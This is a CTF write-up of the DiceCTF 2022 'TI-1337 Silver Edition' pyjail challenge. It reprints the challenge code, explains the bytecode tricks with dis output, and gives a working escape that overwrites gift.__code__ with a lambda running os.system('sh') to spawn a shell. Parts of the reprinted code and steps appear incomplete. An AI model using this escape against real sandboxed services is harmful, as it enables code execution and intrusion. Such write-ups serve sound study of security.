[DiceCTF 2022] TI-1337 Silver Edition

This post originally appeared on the organizers blog, feel free to read it there. It is presented here as a form of archival and to collect all my posts in one place.

Points: 299 (13 solves)

Challenge Author: kmh

Back in the day the silver edition was the top of the line Texas Instruments calculator, but now the security is looking a little obsolete. Can you break it?

#!/usr/bin/env python3
import dis
import sys


used_gift = False

def gift(target, name, value):
    global used_gift
    if used_gift: sys.exit(1)
    used_gift = True
    setattr(target, name, value)

print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:")

math = input("> ")
if len(math) > 1337:
    print("Nobody needs that much math!")
code = compile(math, "<math>", "exec")

bytecode = list(code.co_code)
instructions = list(dis.get_instructions(code))
for i, inst in enumerate(instructions):
    if inst.is_jump_target:
        print("Math doesn't need control flow!")
    nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode)
    if inst.opname in banned:
        bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset)

names = list(code.co_names)
for i, name in enumerate(code.co_names):
    if "__" in name: names[i] = "$INVALID$"

code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20)
v = {}
exec(code, {"__builtins__": {"gift": gift}}, v)
if v: print("\n".join(f"{name} = {val}" for name, val in v.items()))
else: print("No results stored.")

A high horse level overview

Let’s have a look at the restrictions on our payload:

Looking a gift horse function into the mouth

One of the very first observations we can make: we have a function we can call, except… we shouldn’t be able to call any functions at all. Curious.

Let’s have a scroll through (the documentation for1) the most useful resource for this challenge: the dis module. Maybe we can even perform a search for CALL. And behold, there appears an instruction that isn’t blocked, but that appears useful: CALL_METHOD.

This opcode is designed to be used with LOAD_METHOD

So then how can we get LOAD_METHOD to be executed? A method is loaded when we try to call something that looks like a method: a dotted name. So if we can get a call to something like x.y(), that should give us a function call we so sorely need. If only we had something to assign attributes too… Oh, we have gift, you say? Indeed, simply assigning to gift.gift = gift allows us to call gift.gift(target, name, value).

With that out of the way, let’s see what we can try to setattr.

Swapping horses code midstream

Given that we have no access to special methods and variables at all currently, it would make sense to target one of those with our one call to setattr. We could try to overwrite gift.__globals__ in order to get more calls to gift, but unfortunately, that’s a readonly attribute.

Looking through every attribute that’s available on this so-called gift, we notice that gift.__builtins__ refers to the original builtins. If we could somehow hijack control of gift’s execution, or access that attribute; we could gain back control and quickly escalate to shell. The question remains, how can we achieve that.

And that question is answered only a few entries later in dir(gift): gift.__code__ is writable. If we could somehow construct and a handle to a code object that does what we tell it to do, we could have it run with access to the real builtins, and stand triumphant with this dead calculator at our feet.

My kingdom for a horse code object

How does one generally go about creating code objects? Obviously there’s the constructor, but given that we can’t get access to that type to call it, that’s out of the question. Code objects, interestingly also get created when we try to make a function.

Now you might start interrupting and say something like “but we can’t make functions, and even if we could, we can’t access a function’s __code__, which is of course very true, but also entirely besides the question. All we need is the code object on the execution stack.

Let’s have a look at what instructions get executed when we try to create a function:

>>> import dis
>>> dis.dis(compile("""def x(): pass""", "", "exec"))
  1           0 LOAD_CONST               0 (<code object x at 0x7fb5838856e0, file "", line 1>)
              2 LOAD_CONST               1 ('x')
              4 MAKE_FUNCTION            0
              6 STORE_NAME               0 (x)
              8 LOAD_CONST               2 (None)
             10 RETURN_VALUE

Disassembly of <code object x at 0x7fb5838856e0, file "", line 1>:
  1           0 LOAD_CONST               0 (None)
              2 RETURN_VALUE

Now just imagine that MAKE_FUNCTION gone, and we’re left with an interesting value on the stack. Similarly, when we try to do this with a lambda:

>>> dis.dis(compile("""x = lambda: 0""", "", "exec"))
  1           0 LOAD_CONST               0 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
              2 LOAD_CONST               1 ('<lambda>')
              4 MAKE_FUNCTION            0
              6 STORE_NAME               0 (x)
              8 LOAD_CONST               2 (None)
             10 RETURN_VALUE

Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
  1           0 LOAD_CONST               1 (0)
              2 RETURN_VALUE

Imagine the MAKE_FUNCTION gone again, and we’d almost even directly assign this code object to a variable we could reference. Only that pesky name is in the way, grrrr.

Now it comes to massaging the stack a bit and actually getting our hands on the code object. The intended solution here becomes fairly tricky and combines EXTENDED_ARG (used for the number of arguments to a function) with BUILD_MAP to read past the stack, but we shall take a simpler route here.

After experimenting with tuple unpacking,2 we observe that the following code is fairly interesting:

>>> dis.dis(compile("""x = (y, z)""", "", "exec"))
  1           0 LOAD_NAME                0 (y)
              2 LOAD_NAME                1 (z)
              4 BUILD_TUPLE              2
              6 STORE_NAME               2 (x)
              8 LOAD_CONST               0 (None)
             10 RETURN_VALUE

More specifically, BUILD_TUPLE(2) takes the topmost 2 elements from the stack, and puts them into a tuple. If we now would happen to have not z, but "<lambda>" and a code object on the stack, poor y would get ignored, and we’d get a way more interesting tuple instead:

>>> dis.dis(compile("""x = (0, lambda: None)""", "", "exec"))
  1           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
              4 LOAD_CONST               2 ('<lambda>')
              6 MAKE_FUNCTION            0
              8 BUILD_TUPLE              2
             10 STORE_NAME               0 (x)
             12 LOAD_CONST               3 (None)
             14 RETURN_VALUE

Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
  1           0 LOAD_CONST               0 (None)
              2 RETURN_VALUE

Simply access this tuple at index 0, and we have reached our destination.

Flagging a dead horse

It’s only a matter of putting everything together from here on out. We want to:

So, let’s do exactly that.

# step 1
c = (0, lambda: __import__('os').system('sh'))[0]

# step 2
gift.x = gift
gift.x(gift, "__code__", c)

# step 3

One more interesting fact here is that we can use the __import__ name without problem, since the code object is a constant, and not strictly part of the instructions/names of the code object being cleaned by the jail.


I generally like pyjail escapes, and this one was definitely no exception. It probably was one of the most fun ones I’ve done in a while, so thanks for that, kmh :)

  1. It’s really hard to decide what’s more the MVP here, the dis module, or its documentation that contains an overview of all these juicy instructions.↩︎

  2. And completely missing the fact that python optimizes out the tuple packing and unpacking if we have 2 items on both sides of the =. Rather than packing, unpacking and crashing because the number of elements isn’t right, x,y = 0, lambda: None simply gets compiled to a few LOADs, a ROT and two STOREs. An even quicker solution than what we end up doing next.↩︎